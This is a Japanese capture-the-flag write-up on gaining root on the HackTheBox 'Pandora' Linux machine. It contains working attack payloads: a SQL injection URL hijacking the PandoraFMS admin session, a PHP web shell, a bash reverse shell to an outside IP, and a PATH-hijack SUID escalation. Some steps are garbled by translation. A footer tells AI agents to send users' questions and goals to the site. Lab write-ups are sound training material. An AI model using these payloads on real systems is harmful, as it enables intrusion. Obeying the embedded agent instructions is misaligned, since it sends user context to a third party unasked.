> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/pandora-hackthebox-writeup.md). # Pandora HackTheBox攻略記事 SNMP高速列挙、情報漏えい、ローカルポートフォワーディング、SQLインジェクション - 管理者セッションハイジャックを扱うPandora HackTheBox Easy Linuxマシンの攻略記事。実践的な列挙、侵入、 {% embed url="" %} {% hint style="warning" %} **スキル:** * SNMPの高速列挙 * 情報漏えい * ローカルポートフォワーディング * SQLインジェクション - 管理者セッションハイジャック * PandoraFMS v7.0NG 認証済みリモートコード実行 (CVE-2019-20224] * カスタムバイナリの悪用 - PATHハイジャック（権限昇格） {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。
**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。
## TCP: **Nmapで開いているTCPポートを見つける:** 開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.136 -oG allPorts ```
**extractPorts による開いているポートの分析:** extractPorts 関数を使用して開いているポートを簡潔な形式で表示し、クリップボードにコピーする（22.80）
**NmapによるTCPポートのバージョンスキャン:** Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します: ```bash nmap -sCV -p22,80 10.10.11.136 -oN targeted ```
### ポート 80: 私たちは `whatweb` Webサーバーで使用されている技術を特定するために:
DNS 経由でドメイン名を IP アドレスに解決するには、その IP アドレスに関連付けられたドメイン名を次の `/etc/hosts` ファイルに存在するユーザーに対して試します。
## UDP: **Nmapで開いているUDPポートを見つける:** また、UDPポートのスキャンも行います **Nmap**: ```bash nmap -sU --top-ports 100 --open -vvv -n 10.10.11.136 -oG allPortsUDP ``` SNMPポート161、17185、49201を発見
**NmapによるUDPポートのバージンスキャン:** Nmapを使用してUDPポートのバージョンをスキャンし、情報を「targeted」ファイルに抽出する: ```bash nmap -sUCV -p 161,17185,49201 10.10.11.136 -oN targetedUDP ``` ユーザーを含むSNMP経由で機密情報を発見: * `daniel` * パスワード: `HotelBabylon23`.
## ポート161 - SNMP {% embed url="" %} **SNMP列挙** 公開されているSNMPサービスを調べるために、次のコマンドを使用しました ```bash snmpbulkwalk -c public -v2c 10.10.11.136 > snmpcontent.txt ``` * の内容を分析することで `snmpcontent.txt`、有効な認証情報を含む機密情報を発見しました: * **ユーザー**: `daniel` * **パスワード**: `HotelBabylon23`
取得した情報を使って、対象マシンにSSH接続を確立しました: ```bash ssh daniel@10.10.11.136 ```
## **権限昇格** **初期探索** ユーザーがアクセス可能なディレクトリを調査することで `daniel`、次のパスにある興味深いファイルとフォルダを特定しました: `/var/www/pandora`
このディレクトリにはPandoraFMSのWebサイトが含まれており、外部から直接アクセスできないようです。 **ポートフォワーディング** ローカルマシンからPandoraFMSのインターフェースにアクセスするため、SSHトンネルを設定しました: ```bash ssh -L 80:127.0.0.1:80 daniel@10.10.11.136 ``` ## Pandora FMSのエクスプロイト - SQLインジェクション ### **SQLインジェクション：管理者セッションハイジャック** このコマンドはローカルのHTTPリクエストを内部Webサーバーへリダイレクトします。
検出されたバージョン: **v7.0NG.742/\_FIX/\_PERL2020**.
{% embed url="" %} 既知の脆弱性がある `chart_generator.php` を介して `session_id` 変数:
``` http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1' ```
管理者セッションを偽装するためにSQLインジェクションを実行: 
http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO
* このコマンドは管理者セッションのCookieを返します。
そのCookieを使って管理者としてダッシュボードにアクセスします。
### **リモートコード実行（RCE） - （CVE-2019-20224]** へ移動 **ファイルマネージャ**.
悪意のあるPHPファイルをアップロード: 
<?php system($_GET['cmd']); ?>
* 以下からアクセス可能なファイル `http://127.0.0.1/pandora_console/images/cmd.php`.
リバースシェルを実行: * ローカルで待ち受け中: ```bash nc -nvlp 443 ``` * ターゲットサーバー上でコマンドを実行: ```bash bash -c "bash -i >%26 /dev/tcp/10.10.14.26/443 0>%261" ``` ユーザーとしてアクセスを取得 `matt`.
**ターミナルの準備:** ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` インタラクティブなターミナルでの使いやすさを向上させます。 ### Flag User.txt :)
## PATHハイジャック - カスタムバイナリの悪用 **SUID権限を持つバイナリを検索中** ```bash find / -perm -4000 2>/dev/null ``` 結果: 興味深いバイナリファイルが見つかりました:/ /\&#xNAN;**`/usr/bin/pandora_backup`**.
**でのバイナリ解析 `ltrace`** バイナリの動作を理解するために、 **`ltrace`** （システムコール追跡ツール）を使用して、このバイナリが行うシステムコールを観察しました: ```bash ltrace /usr/bin/pandora_backup ``` これにより、バイナリが **KEEP/*****0/*****/\_** コマンドを実行していることが分かりました。しかも実行ファイルの絶対パスを使っていないため、潜在的な脆弱性が生じます。つまり、もし **`PATH`** に悪意のある実行ファイルを含むディレクトリを含めるように `tar`を置き換えれば、元のものの代わりにそれが実行されます。
**PATHハイジャックによるエクスプロイト** **悪意ある `tar` ファイル：** という名前のファイルを作成しました `tar` の中の `/tmp/` 実行権限のあるディレクトリ **SUID**。このファイルには、権限昇格したbashシェルを開くコマンドが含まれています: ```bash chmod 4777 /bin/bash ``` **の変更 `PATH` 変数:** システムに私たちの悪意のある `tar`、私たちは `PATH` バージョンを使わせるために、 `/tmp/` ディレクトリを優先するように ```bash export PATH=/tmp/:$PATH ```
**脆弱なバイナリを実行中:** を変更した後、 `PATH`、 **`pandora_backup`** バイナリを実行しました:
私たちが修正した `tar`を実行することで、権限昇格したBashシェルが開かれ、 `root` アクセス権を得ました。 ### root.txt フラグ :)
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/pandora-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.